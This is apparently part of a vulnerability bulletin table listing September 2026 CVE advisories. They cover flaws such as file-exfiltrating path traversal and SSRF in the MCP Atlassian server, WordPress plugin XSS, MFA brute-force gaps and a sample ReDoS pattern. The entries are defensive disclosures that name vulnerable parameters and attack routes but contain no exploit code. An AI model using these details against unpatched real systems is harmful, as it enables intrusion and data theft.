&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, OAuthConfig writes a plaintext fallback file containing access and refresh tokens under the user&#039;s .mcp-atlassian directory using process-default permissions. On systems with a permissive umask, same-group or other local users and processes can read the persisted tokens and reuse the associated Atlassian access. The advisory traces the vulnerable input and processing flow through OAuthConfig._save_tokens, ~/.mcp-atlassian/oauth-&amp;lt;client_id&amp;gt;.json, access_token, and refresh_token, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77250&quot; target=&quot;_blank&quot;&gt;CVE-2026-77250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, caller-supplied projects_filter and spaces_filter arguments can replace administrator-configured allowlists, and caller-provided project or space clauses can suppress the configured restriction. A caller can search projects or spaces outside the intended boundary when the configured Atlassian credentials can access them. The advisory traces the vulnerable input and processing flow through JIRA_PROJECTS_FILTER, CONFLUENCE_SPACES_FILTER, projects_filter, spaces_filter, SearchMixin.search_issues, and SearchMixin.search, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77252&quot; target=&quot;_blank&quot;&gt;CVE-2026-77252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77266&quot; target=&quot;_blank&quot;&gt;CVE-2026-77266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the remediation for CVE-2026-27825 protects download destinations but does not constrain source paths used by attachment uploads. A caller can provide an absolute or traversal file_path and cause the server to upload the selected local file. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77269&quot; target=&quot;_blank&quot;&gt;CVE-2026-77269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira and Confluence attachment upload tools treat caller-controlled file_path values as trusted server-local paths. The server opens the selected file and uploads it to an Atlassian issue or page, allowing an MCP caller with upload access to disclose any file readable by the server process. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, jira_upload_attachment, file_path, and open(file_path, &quot;rb&quot;), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77270&quot; target=&quot;_blank&quot;&gt;CVE-2026-77270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, JiraUserMixin._lookup_user_by_permissions uses the module-level requests.get function instead of the fetcher&#039;s protected session. A caller-controlled public Jira URL can redirect that unhooked request to an internal address, bypassing the redirect checks added for CVE-2026-27826. The advisory traces the vulnerable input and processing flow through JiraUserMixin._lookup_user_by_permissions, requests.get, self.jira._session.get, and _make_ssrf_safe_hook, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77249&quot; target=&quot;_blank&quot;&gt;CVE-2026-77249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, header-supplied Jira or Confluence URLs are resolved and validated before the HTTP client resolves the hostname again for the connection. An unauthenticated caller can use a DNS-rebinding hostname that returns a public address during validation and an internal address during connection, causing requests to internal or metadata services. The advisory traces the vulnerable input and processing flow through X-Atlassian-Jira-Url, X-Atlassian-Confluence-Url, validate_url_for_ssrf, and DNS rebinding, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77265&quot; target=&quot;_blank&quot;&gt;CVE-2026-77265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth fallback token directory and JSON file are created without explicit owner-only modes. Local users or processes with access through the resulting group or world permission bits can read access and refresh tokens and reuse the associated Atlassian session. The advisory traces the vulnerable input and processing flow through ~/.mcp-atlassian, oauth-&amp;lt;client_id&amp;gt;.json, access_token, and refresh_token, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77268&quot; target=&quot;_blank&quot;&gt;CVE-2026-77268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77272&quot; target=&quot;_blank&quot;&gt;CVE-2026-77272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Smart Attendance System with QR Code Scanner&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Smart Attendance System with QR Code Scanner 1.0. This issue affects the function prepend of the file student_signup.php of the component Self-Registration. Performing a manipulation of the argument full_name results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95957&quot; target=&quot;_blank&quot;&gt;CVE-2026-95957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SPON Communications--IP Network Audio Device XC-9603&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SPON Communications IP Network Audio Device XC-9603 1.2.3_20181106 Build 107. This affects the function loadCfg of the file /ini/sys_cfg.txt of the component Configuration File Download. The manipulation results in information disclosure. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96774&quot; target=&quot;_blank&quot;&gt;CVE-2026-96774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sslzen--SSL Zen SSL Certificate Installer &amp;amp; HTTPS Redirects&lt;/td&gt;
&lt;td&gt;The SSL Zen plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;uri&#039; (and &#039;host&#039;) parameters in versions up to, and including, 4.7.42. The ssl_zen_messages::getMessages() function builds the &#039;token_missmatch&#039; message using base64_decode(sanitize_text_field($_REQUEST[&#039;uri&#039;])) and (optionally) base64_decode(sanitize_text_field($_REQUEST[&#039;host&#039;])). sanitize_text_field() cannot strip HTML/JavaScript that is hidden inside a base64-encoded blob, and the resulting decoded raw HTML is echoed unescaped by showMessage() . This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17577&quot; target=&quot;_blank&quot;&gt;CVE-2026-17577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sslzen--SSL Zen SSL Certificate Installer &amp;amp; HTTPS Redirects&lt;/td&gt;
&lt;td&gt;The SSL Zen - SSL Certificate Installer &amp;amp; HTTPS Redirects plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 4.7.42 via the &#039;file_name&#039; parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17602&quot; target=&quot;_blank&quot;&gt;CVE-2026-17602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ST Engineering iDirect--Evolution&lt;/td&gt;
&lt;td&gt;A vulnerability was found in ST Engineering iDirect Evolution and Velocity WebServer Evolution up to 20260717. This affects an unknown part of the file /login.html of the component Management Service. Performing a manipulation of the argument Host results in open redirect. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94214&quot; target=&quot;_blank&quot;&gt;CVE-2026-94214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ST Engineering iDirect--Evolution&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in ST Engineering iDirect Evolution and Velocity WebServer Evolution up to 20260717. This vulnerability affects the function authorize of the file /usr/sbin/webserver of the component HTTP Header Handler. Executing a manipulation of the argument Success can lead to open redirect. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94216&quot; target=&quot;_blank&quot;&gt;CVE-2026-94216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stoatchat--stoatchat&lt;/td&gt;
&lt;td&gt;stoatchat versions before 0.15.5 contain a denial of service vulnerability in the acknowledgement worker that processes mass mention messages. Authenticated users can send five crafted role-mention messages to terminate all acknowledgement workers, disabling push notifications and mention badges deployment-wide until the API process restarts.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100675&quot; target=&quot;_blank&quot;&gt;CVE-2026-100675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stoatchat--stoatchat&lt;/td&gt;
&lt;td&gt;stoatchat before 0.15.5 fails to enforce account-level attempt limits on MFA login challenges, allowing attackers who know a password to guess TOTP codes with only IP-based rate limiting. Attackers can reuse MFA challenge tickets across multiple failed attempts and distribute guesses across IP addresses to bypass rate limiting and gain account access.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100678&quot; target=&quot;_blank&quot;&gt;CVE-2026-100678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stoatchat--stoatchat&lt;/td&gt;
&lt;td&gt;stoatchat before 0.15.5 contains an account enumeration vulnerability in the login endpoint that exposes source file locations in error responses. Unauthenticated attackers can distinguish between registered and unregistered email addresses by comparing error location fields returned from POST /api/auth/session/login requests.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100677&quot; target=&quot;_blank&quot;&gt;CVE-2026-100677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stoatchat--stoatchat&lt;/td&gt;
&lt;td&gt;stoatchat before 0.15.5 fails to revalidate usernames after Unicode sanitization, allowing attackers to create usernames with forbidden characters by submitting Unicode letters that transform into rejected characters. Attackers can bypass character allowlists and length limits to create reserved-name lookalikes, embed special characters, and exceed the 32-character storage limit.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100674&quot; target=&quot;_blank&quot;&gt;CVE-2026-100674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;streamlink--streamlink&lt;/td&gt;
&lt;td&gt;Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92164&quot; target=&quot;_blank&quot;&gt;CVE-2026-92164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;suitenumerique--docs&lt;/td&gt;
&lt;td&gt;LaSuite Doc is a collaborative note taking, wiki and documentation platform. From 4.8.2 until 5.4.0, GET /api/v1.0/documents/search/ accepts sequential seven-digit document paths to scope descendant searches without requiring the caller to possess the public document UUID. An unauthenticated caller can submit an empty search query and iterate predictable path values to enumerate public document subtrees, obtaining document identifiers, titles, creator data, timestamps, and tree metadata. Each disclosed identifier can then be used through normal public-document endpoints to retrieve the document content, and differing 403 Forbidden and 404 Not Found responses reveal whether a guessed path exists. Authenticated users can similarly discover documents with authenticated link reach, while restricted documents remain protected. This issue is fixed in version 5.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76907&quot; target=&quot;_blank&quot;&gt;CVE-2026-76907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SUMIT Payment Gateway for WooCommerce--SUMIT Payment Gateway for WooCommerce&lt;/td&gt;
&lt;td&gt;The SUMIT Payment Gateway for WooCommerce WordPress plugin before 4.0.0 does not verify with the payment provider that a payment notification is genuine before marking the corresponding order as paid, allowing unauthenticated users to mark a pending order paid without completing payment.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84091&quot; target=&quot;_blank&quot;&gt;CVE-2026-84091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sunnyadn--js-toml&lt;/td&gt;
&lt;td&gt;js-toml is a TOML parser for JavaScript. Prior to 1.1.3, load() does not bound nesting or dotted-key depth in the recursive parser at src/load/parser.ts or the interpreter at src/load/interpreter.ts, so deeply nested arrays, deeply nested inline tables, or long dotted keys can exhaust the V8 call stack and throw a raw RangeError instead of the documented SyntaxParseError. Applications that parse attacker-controlled TOML and handle only SyntaxParseError can rethrow the unexpected exception, which can terminate a worker or process and cause denial of service. The exception is synchronous and catchable by consumers that handle all exceptions, and the issue does not affect confidentiality or integrity. This issue is fixed in version 1.1.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63386&quot; target=&quot;_blank&quot;&gt;CVE-2026-63386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;supabase--realtime&lt;/td&gt;
&lt;td&gt;Supabase Realtime provides Broadcast, Presence, and Postgres Changes via WebSockets. Prior to 2.111.2, Realtime authorization does not correctly honor the per-extension presence.read row-level security policy when a private-channel client is allowed presence.write but explicitly denied presence.read. Under that differential policy, the client can receive presence_diff messages containing other members&#039; presence metadata, including application-defined location, online-status, roster, viewing, or typing information. Deployments with uniform presence visibility have no differential, and postgres_changes row data is unaffected. This issue is fixed in version 2.111.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62247&quot; target=&quot;_blank&quot;&gt;CVE-2026-62247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;swmansion--React Native Reanimated&lt;/td&gt;
&lt;td&gt;A prototype pollution vulnerability in Software Mansion React Native Worklets before 0.12.2 allows an attacker-controlled object containing a __proto__ property to modify the prototype of an object created during serialization in clonePlainJSObject in packages/react-native-worklets/src/memory/serializable.native.ts. When affected data is subsequently processed by React Native Worklets, the malformed serialized object can cause the React Native application to crash. This can result in a remotely triggered denial of service in applications that pass attacker-controlled data through the affected serialization path. In applications where the attacker-controlled data is persisted, the denial of service may persist across application restarts or repeated attempts to access the affected content.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97724&quot; target=&quot;_blank&quot;&gt;CVE-2026-97724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sylius--Sylius&lt;/td&gt;
&lt;td&gt;Sylius versions before 2.1.16 and 2.2.9 fail to restrict payment request actions in the Shop API endpoint, allowing customers to trigger refunds on completed orders. Attackers with order tokens can submit arbitrary payment actions like refunds that payment gateways execute while Sylius maintains order as paid, causing financial loss.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100869&quot; target=&quot;_blank&quot;&gt;CVE-2026-100869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sync-in--server&lt;/td&gt;
&lt;td&gt;Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a `RegExp` with no complexity validation. A catastrophic-backtracking pattern (e.g. `^(a+)+b`) blocks the Node.js event loop, making the entire server unresponsive to all users until the container is restarted. Version 2.4.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58270&quot; target=&quot;_blank&quot;&gt;CVE-2026-58270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sync-in--server&lt;/td&gt;
&lt;td&gt;Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, `POST /api/app/sync/register` accepts credentials and a TOTP code to register a desktop sync client. On a failed TOTP, `SyncClientsManager.register()` calls `updateAccesses(user, ip, false)`, which hits a freeze branch that writes `passwordAttempts` back unchanged. The counter never reaches `USER_MAX_PASSWORD_ATTEMPTS` (10) and the lockout gate never fires. A successful guess returns a `{clientId, clientToken}` pair. The token can be exchanged via `POST /api/app/sync/auth/cookie` for a full JWT. While the code is valid, the attacker can also call `POST /api/auth/2fa/disable` to permanently remove MFA. Version 2.4.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58271&quot; target=&quot;_blank&quot;&gt;CVE-2026-58271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sync-in--server&lt;/td&gt;
&lt;td&gt;Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Versions prior to 2.4.1 contain an observable timing discrepancy in the login endpoint because authentication attempts for nonexistent accounts return without performing the bcrypt comparison used for existing accounts. An unauthenticated attacker can measure response times to enumerate valid usernames or email addresses, facilitating credential-stuffing, password-spraying, and phishing attacks. Version 2.4.1 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58272&quot; target=&quot;_blank&quot;&gt;CVE-2026-58272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sysadminsmedia--homebox&lt;/td&gt;
&lt;td&gt;HomeBox is a home inventory and organization system. Prior to 0.26.0, POST /v1/groups/members invokes HandleGroupMemberAdd and GroupService.AddMember using a caller-supplied userID without requiring an owner role, an invitation token, target-user consent, or target-user notification. Any authenticated user can force another account into the caller&#039;s group, disclose the target user&#039;s email address and name through the resulting member list, and create the membership prerequisite used by a separate cross-group inventory-wipe vulnerability. This issue is fixed in version 0.26.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48974&quot; target=&quot;_blank&quot;&gt;CVE-2026-48974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TaleLin--lin-cms-spring-boot&lt;/td&gt;
&lt;td&gt;A vulnerability was found in TaleLin lin-cms-spring-boot up to 0.2.1. This impacts the function getBook of the file src/main/java/io/github/talelin/latticy/controller/v1/BookController.java of the component book Endpoint. Performing a manipulation of the argument ID results in improper authorization. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96880&quot; target=&quot;_blank&quot;&gt;CVE-2026-96880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TaleLin--lin-cms-spring-boot&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in TaleLin lin-cms-spring-boot up to 0.2.1. Affected is the function getBooks of the file src/main/java/io/github/talelin/latticy/controller/v1/BookController.java of the component book Endpoint. Executing a manipulation can lead to improper authorization. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96881&quot; target=&quot;_blank&quot;&gt;CVE-2026-96881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TaleLin--lin-cms-spring-boot&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in TaleLin lin-cms-spring-boot up to 0.2.1. Affected by this vulnerability is the function searchBook of the file src/main/java/io/github/talelin/latticy/controller/v1/BookController.java of the component book Endpoint. The manipulation leads to improper authorization. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96882&quot; target=&quot;_blank&quot;&gt;CVE-2026-96882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tauri--tauri-plugin-http&lt;/td&gt;
&lt;td&gt;The Tauri HTTP plugin validates requested URLs against the application&#039;s configured scope allowlist only once, on the initial request. When the remote server responds with an HTTP 3xx redirect, reqwest follows the redirect internally without re-checking the new target URL against the scope. This allows an attacker who controls an allowed URL (or finds an open redirect on an allowed host) to reach disallowed destinations such as cloud metadata endpoints, localhost services, or internal network hosts.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95623&quot; target=&quot;_blank&quot;&gt;CVE-2026-95623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tauri--tauri-plugin-updater&lt;/td&gt;
&lt;td&gt;The Tauri updater plugin&#039;s &#039;check&#039; IPC command accepts an allowDowngrades boolean parameter directly from frontend JavaScript code. When set to true, it replaces the version comparator from &quot;update must be newer&quot; to &quot;update must be different.&quot; Because the default permission set grants allow-check to the webview, any XSS in the app frontend can invoke this command and bypass the only anti-rollback protection the updater offers. Combined with another bug, this enables downgrade attacks without even needing to fake a higher version number.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95624&quot; target=&quot;_blank&quot;&gt;CVE-2026-95624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
